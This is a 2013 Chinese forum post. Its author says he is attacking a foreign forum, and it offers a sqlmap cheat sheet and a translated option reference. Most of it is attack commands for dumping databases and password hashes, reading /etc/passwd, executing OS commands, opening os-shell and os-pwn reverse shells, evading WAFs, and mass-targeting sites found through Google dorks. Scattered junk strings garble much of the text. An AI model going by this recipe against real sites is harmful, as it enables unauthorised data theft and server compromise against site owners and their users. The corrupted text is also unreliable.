找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2808|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、) Z- y& T& ^) H" ]# H
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
' Q4 N- H2 w, I& ~+ osqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
  D9 @: _& N+ v" dsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
. q; K- ?1 w1 `/ e" {. j
/ \: h2 s% Q( |2 j# y0 n7 T2 |sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v9 S3 U+ ^- k5 G, L
0 #获取字段内容5 ]0 d/ l+ A' P5 `+ n, X2 W1 O
4 [* v6 L2 i; d/ i5 y) n' B0 O* w" ?
******************信息获取******************' S; i9 M# b( U  G  d9 }8 M
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型7 L6 M* d/ N+ _, a2 P1 v
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
- `; W0 \  [# M8 a/ dsqlmap -u “http://url/news?id=1″ –dbs#列数据库% U5 w$ K8 S5 R/ n# [0 V
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
6 l& W* @) C! I/ U3 K$ B+ Nsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
) L; C  J' n5 ~% V* N$ M) a* f0 hsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”* {( _" z4 R8 b& k% L$ H$ }3 v
–start 1 –stop 20 #列出指定字段,列出20 条
7 Z  `) T4 m  s# @! O, ~sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
: C. t8 Y2 _+ t7 Tsqlmap -u “http://url/news?id=1″ –privileges #查看权限
/ J8 r0 k# F# xsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色1 y  i" F( ]( s' U* x
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)  {# Q4 s) _8 {* E
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表2 E% E% H" c8 p0 @
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
  p) c5 S. ~) U) Bsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入. R5 R& @& }+ S
sqlmap -u “http://url/news?id=1″-b #获取banner信息( n) B" W' Y! X; u5 H
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
* x# G3 z) j2 ?8 c: j; H9 ~( d- \sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
- G4 `+ T0 _- i& rsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入- Q# ?) Y6 E7 i- d8 r: c: R
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
( e2 _3 _( J0 u' g! A/ }" Vsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
0 t& P2 g1 i( Ysqlmap -u “http://url/news?id=1″ –file /etc/passwd( ?# R, v& `0 D! a$ [& Q
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令+ v/ a* \1 F2 U" A" A9 W' G
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
8 ?! N2 `, i  U$ A- o4 Xsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表- w! v7 S2 G( k. u
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
2 E" h* p6 ]& J7 H* xsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
7 x: I3 N! B0 _7 ?0 U" ^9 G***********高级用法*************
6 A! `3 M. h$ r7 w( d-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
# S5 s% y& k5 Osqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
/ C9 m/ ^% K% j& R: c–technique   测试指定注入类型\使用的技术- p# H: y9 x! L3 j; D+ L
不加参数默认测试所有注入技术
" Z2 B4 j* d2 Q0 P- m3 X' H4 M& J% p•     B: 基于布尔的SQL 盲注+ V' D0 y" a* |
•     E: 基于显错sql 注入
& H3 z( [3 _& a2 Y1 v8 T0 s•     U: 基于UNION 注入
% e& H! z+ x9 h$ N: o3 P; h9 Z•     S: 叠层sql 注入/ ]& v9 @+ m6 ?3 x' O* m/ G: I
•     T: 基于时间盲注
; w: B% y3 r% G" D6 n–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
1 T5 m0 n6 D# C% _–tamper 插件所在目录
( \) U' J$ l/ m3 g& T\sqlmap-dev\tamper
- [& P3 K# u2 I: s  _sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
; C$ z+ _7 m( p2 x- N/ P$ ]level 执行测试等级 攻击实例:
7 f8 h! S5 H& R  b, KSqlmap -u “http://url/news?id=1&Submit=Submit”; o6 ]( N. ~9 x
–cookie=”PHPSESSID=41aa833e6d0d
- ^2 [1 \+ a2 H28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user2 t$ y: r3 j  Z' l0 ^* J3 O
–password" }: j( Y3 M9 j- T* I% L* |' O
参考文档:http://sqlmap.sourceforge.net/doc/README.html7 b/ Y, i/ R/ Z2 H, u9 o) R- q' o
***********安装最新版本*************8 E, O( o4 i7 Y+ r2 l5 l. F2 w
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版/ A+ z7 }* K3 v# `0 ^* [! z
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
& H1 h8 P3 V: j7 A, B安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
1 }1 q/ _: w# h8 N6 {7 Jsudo vim /home/当前用户/.bashrc: l8 v- w! T8 l
#任意位置加上:
0 B$ z4 _7 b( @. m7 `  u( `6 |alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效# E, {7 T% p) c- p
如果想对所有用户有效 可设置全局 编辑下面的文件
+ q1 G' S' y8 _  n" }vim /etc/profile" R% k1 r( }0 p2 F
同样加上:/ A/ k# c  R% V3 o: f
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效0 x7 D: T0 f+ E& F9 G5 T
******************windows 7 (x64) sqlmap install (SVN)************
% P% L) M4 ^8 u9 e: fhttp://www.python.org/getit/ 安装python
: B6 V7 {+ H: W+ b5 }http://www.sliksvn.com/en/download 安装windows svn client5 T9 V4 Y6 A3 r
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
6 }( j; F& M3 ]* U. c# k安装sqlmap/ B! L* Q) P8 X/ o9 O8 H6 k+ X4 r
*修改环境变量
. _! [+ }/ R4 _$ d4 O–version             显示程序的版本号并退出
2 L) {8 X9 X5 l-h, –help            显示此帮助消息并退出  Z3 l3 c1 X+ Y" U9 i+ S8 ]: S" D
-v VERBOSE            详细级别:0-6(默认为1)$ v% Z) j' r& c$ s4 l# @, D' H
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
+ _* D; \& m3 n, j( G-d DIRECT           直接连接到数据库。, Y9 o' g  G2 o% w1 W" u2 s
-u URL, –url=URL   目标URL。
: Q. ^" R* k2 g* ?' i5 I-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
# S8 k: `3 P3 j% n7 C6 Q5 s/ |-r REQUESTFILE      从一个文件中载入HTTP 请求。
- K  u- \6 z; L+ K6 z" W; H: {9 j: z-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
" w, R) V' d$ |-c CONFIGFILE       从INI 配置文件中加载选项。
) [4 z2 c4 _4 s" ]9 CRequest(请求)::
& U: {& z2 V) H2 b/ b, R7 }8 `这些选项可以用来指定如何连接到目标URL。- N; L  W7 Y' C
–data=DATA         通过POST 发送的数据字符串
) i+ L! G6 |8 D. V  D2 O–cookie=COOKIE     HTTP Cookie 头1 F& _+ d( ]& l! S
–cookie-urlencode  URL 编码生成的cookie 注入
; F1 J3 Q: s% E3 j* z–drop-set-cookie   忽略响应的Set –Cookie 头信息& q$ {& Q" u, o! X/ B0 Q- v* u
" W: z6 D1 P3 \9 h. s( s% y8 M
–user-agent=AGENT  指定  HTTP User –Agent 头) g& m0 h+ h/ t4 R  i
–random-agent      使用随机选定的HTTP User –Agent 头
+ ]) ^* v- }3 g5 n% T6 D–referer=REFERER   指定  HTTP Referer 头: u* m- M3 x2 b0 e* j2 F
–headers=HEADERS   换行分开,加入其他的HTTP 头
2 L3 ~, H! q# \+ t% k5 P–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)* i% k8 Q( X6 @( q. ~
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
6 t+ X8 ]( L  c2 }( Z' g; V$ M7 C–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)/ I9 e9 C2 f4 ?, U3 l2 U
–proxy=PROXY       使用HTTP 代理连接到目标URL
2 l' [1 L$ d6 C. k5 E( ^5 E4 m–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
! [( J  C* N# s9 I* S$ A–ignore-proxy      忽略系统默认的HTTP 代理( D* K* \$ H+ Z  V6 S5 [& c# L
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
& d' E% G, b1 d: S–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
- {$ {8 U% j& O: o2 N–retries=RETRIES   连接超时后重新连接的时间(默认3)" l' E* c1 ^0 Q* _" {" q+ G4 G. r7 R
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
* ~0 P& }9 q+ S: c7 l8 V–safe-url=SAFURL   在测试过程中经常访问的url 地址
; C  P- K- j  L3 u" i% t–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL! x7 v6 w' Q1 i& y9 `
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
. O: B% ~) U% `/ B! [; C( d3 u-o                  开启所有优化开关8 H: n; K9 Z3 P) m
–predict-output    预测常见的查询输出
5 L$ S1 O( e+ m5 ?–keep-alive        使用持久的HTTP(S)连接
( K& ?1 \$ ^7 o7 l4 e9 `2 p–null-connection   从没有实际的HTTP 响应体中检索页面长度9 e2 v; D  ~& |5 @& u& C7 [
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)* U) n# d$ |# L$ R5 a3 d: H
Injection(注入):4 N4 B7 L- l% x9 r- O, B$ _: w
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
: e* w9 D) m6 \% z" g0 u" t-p TESTPARAMETER    可测试的参数(S)
0 U7 D. x1 }3 h" ?–dbms=DBMS         强制后端的DBMS 为此值
; W/ E8 N: y( {* a' n–os=OS             强制后端的DBMS 操作系统为这个值
9 J) ?" \2 U' e" `) L–prefix=PREFIX     注入payload 字符串前缀
5 x( Z! T% o1 p  x- v4 \. ~) B–suffix=SUFFIX     注入 payload 字符串后缀
: Q% m6 e+ Q. f8 _3 U–tamper=TAMPER     使用给定的脚本(S)篡改注入数据; `) u+ S2 w8 {+ c: ]
Detection(检测):
9 Z  t9 ^3 H6 m这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。! l, d, B1 s: ^  P/ l3 d
–level=LEVEL       执行测试的等级(1-5,默认为1)! i& d! y/ J. l7 F( ]
–risk=RISK         执行测试的风险(0-3,默认为1), c5 @/ q3 k% g2 P/ P# k
–string=STRING     查询时有效时在页面匹配字符串
& {1 @% C3 M8 [–regexp=REGEXP     查询时有效时在页面匹配正则表达式
8 ~8 P: w% @" C2 j2 u# m–text-only         仅基于在文本内容比较网页) G2 q( h( h) E9 `1 _2 [- T0 Q
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
$ G1 X( j) s7 Z, a( h7 d3 r–technique=TECH    SQL 注入技术测试(默认BEUST)* w; ~& C) W3 @* y7 t, j
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
, ?4 X. i) C3 R5 _8 `–union-cols=UCOLS  定列范围用于测试UNION 查询注入' O% O  v$ l, Z/ q0 c* ?0 G
–union-char=UCHAR  用于暴力猜解列数的字符
( S, h) N, o& f" V: n: t/ j1 J6 LFingerprint(指纹):3 C+ O3 |" W2 p, h
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
" F; B0 N8 E# j( R7 G) K! l% Q$ lEnumeration(枚举):4 c0 Q6 g: T1 m/ g( @- p" l/ ~

7 Q  R* E; e/ t6 D, Z! F2 c8 j+ G/ j这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
3 |' L5 I2 J$ }) w2 @-b, –banner        检索数据库管理系统的标识
0 d4 x+ ^8 Y: e  r, i: z* ?8 W$ `–current-user      检索数据库管理系统当前用户
1 T. `# f6 B( D) j8 W9 B: v. ~  S3 L–current-db        检索数据库管理系统当前数据库  [& [+ W* ^3 V8 P0 O
–is-dba            检测DBMS 当前用户是否DBA
! J  m' s# E) T* |–users             枚举数据库管理系统用户
0 p, P# s! m5 }2 O–passwords         枚举数据库管理系统用户密码哈希2 n+ E9 y6 B  Q- q" H. ^$ L$ \
–privileges        枚举数据库管理系统用户的权限, Q7 j  W0 ?( \4 R( F1 U
–roles             枚举数据库管理系统用户的角色
* {! a& |1 A. T' T; T0 i–dbs               枚举数据库管理系统数据库, E8 Y+ Q' ~% w/ b* E
–tables            枚举的DBMS 数据库中的表) B7 U. w! W2 j5 a+ d" `& X. X/ y+ Q
–columns           枚举DBMS 数据库表列. R* T$ j  D3 D5 C
–dump              转储数据库管理系统的数据库中的表项
  F9 r0 {" H% L/ \0 {–dump-all          转储所有的DBMS 数据库表中的条目
$ N, r8 L4 o" x2 C–search            搜索列(S),表(S)和/或数据库名称(S)% f& ~% O5 M1 }
-D DB               要进行枚举的数据库名
2 F8 o8 P+ m( @4 v3 i) I  s-T TBL              要进行枚举的数据库表
* M1 F+ E: D; l  }) n, J: d-C COL              要进行枚举的数据库列) v" d0 ?9 d& c9 N8 g
-U USER             用来进行枚举的数据库用户
/ W, [- u. K) y5 ]–exclude-sysdbs    枚举表时排除系统数据库9 S. X. v) u3 M* l) }' j
–start=LIMITSTART  第一个查询输出进入检索2 q5 {; }! w) h& V2 u6 }
–stop=LIMITSTOP    最后查询的输出进入检索3 K: Q7 l! L1 O, @. _
–first=FIRSTCHAR   第一个查询输出字的字符检索
. B2 }; f* N9 u% X–last=LASTCHAR     最后查询的输出字字符检索
7 T/ X& }3 e' J9 T; |2 a, i& j. o–sql-query=QUERY   要执行的SQL 语句/ [  r& M9 z3 ?# e
–sql-shell         提示交互式SQL 的shell7 B$ w4 E8 R2 F4 h+ ]
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
! ]' U9 b, r. e. n–common-tables     检查存在共同表( C) p* D2 j0 l
–common-columns    检查存在共同列( ]) P9 i. w+ D- g( T* \
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。- \4 r4 y' H- p/ [2 Q+ Z
–udf-inject        注入用户自定义函数+ a- O" o: D3 A5 e
–shared-lib=SHLIB  共享库的本地路径
8 G8 {! m, u% Y8 x' A+ \! k6 M$ EFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
+ k$ F6 k5 Z3 b9 @6 m–file-read=RFILE   从后端的数据库管理系统文件系统读取文件& y# a9 |. h/ F' f* O  T+ E
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件0 t% I( j7 N" P; |' @
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
) e! t# k% I0 r- W. ^, R$ X7 JOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。" p9 p2 u" L, h7 o; k
–os-cmd=OSCMD      执行操作系统命令4 p: A/ `$ Z" E
–os-shell          交互式的操作系统的shell
/ ^, X0 L- _' P* N$ f3 B- x–os-pwn            获取一个OOB shell,meterpreter 或VNC
2 K2 q2 t& V+ M3 |- K; i–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC+ j8 C/ o" U0 h/ y' _% m! @6 U8 C
–os-bof            存储过程缓冲区溢出利用; k1 c* s( L$ |( }$ B9 c
–priv-esc          数据库进程用户权限提升
4 j8 y$ ]- r! L* I2 A- c–msf-path=MSFPATH  Metasploit Framework 本地的安装路径2 Z6 i7 _1 u1 x5 }- h' F" c" B
–tmp-path=TMPPATH  远程临时文件目录的绝对路径4 ]% X! X' o. `6 S: x5 l3 s
% i4 B$ R) y% b$ Q" \1 L, @
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。8 x0 R. @. H% L3 G! ?' S
–reg-read          读一个Windows 注册表项值1 T2 [; I  x( g4 L( j
–reg-add           写一个Windows 注册表项值数据2 y6 ^0 L" E; Z1 Y# y
–reg-del           删除Windows 注册表键值$ w; E6 ~# c# N9 G& \- H) A
–reg-key=REGKEY    Windows 注册表键
, X% M  n6 V' u9 a/ n7 N1 C, q. u–reg-value=REGVAL  Windows 注册表项值) G8 i  K$ ^* G' n$ V% E; Q
–reg-data=REGDATA  Windows 注册表键值数据
4 j% ~( W+ G4 [! v! A1 C–reg-type=REGTYPE  Windows 注册表项值类型3 D( s  j6 G0 S* `# A, E; s2 f
General(一般): 这些选项可以用来设置一些一般的工作参数。/ Y( j) i* x' H# c
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中7 P: l) ?" h) F
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
* w* ^$ x, v$ s) f3 v0 Y–flush-session     刷新当前目标的会话文件4 O9 Z8 |# L4 H
–fresh-queries     忽略在会话文件中存储的查询结果
  ]. o0 b# |3 E, S4 {, w–eta               显示每个输出的预计到达时间. L' t# T% O5 ~. G8 x  S8 ^
–update            更新SqlMap2 T7 [& R' `$ j+ R* M3 D4 U# z1 t
–save              file 保存选项到INI 配置文件
: x4 |; G/ c/ {; P7 O–batch             从不询问用户输入,使用所有默认配置。
1 G- v8 E/ {- V; [# H3 Q: JMiscellaneous(杂项):
: C/ h. v+ `) f  h  j! g, S–beep              发现SQL 注入时提醒1 B- F- F/ H8 k( K) i
–check-payload     IDS 对注入payloads 的检测测试; ?7 P1 `; c9 d
–cleanup           SqlMap 具体的UDF 和表清理DBMS
$ {* Y3 \+ N+ M0 y* B1 F3 ~) l( [4 C–forms             对目标URL 的解析和测试形式! u6 B! r4 D* x4 r; u( K
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果/ ^& p. d$ @4 O: e( i8 w) X/ N/ E
–page-rank         Google dork 结果显示网页排名(PR)+ R0 ^0 T- k3 p- }- ]
–parse-errors      从响应页面解析数据库管理系统的错误消息, P+ |% w1 |# @* b& z# t3 {) R& _
–replicate         复制转储的数据到一个sqlite3 数据库5 Q) ?( T  e  Z9 ^. F5 X* i
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
$ j$ Q! S; `5 `–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表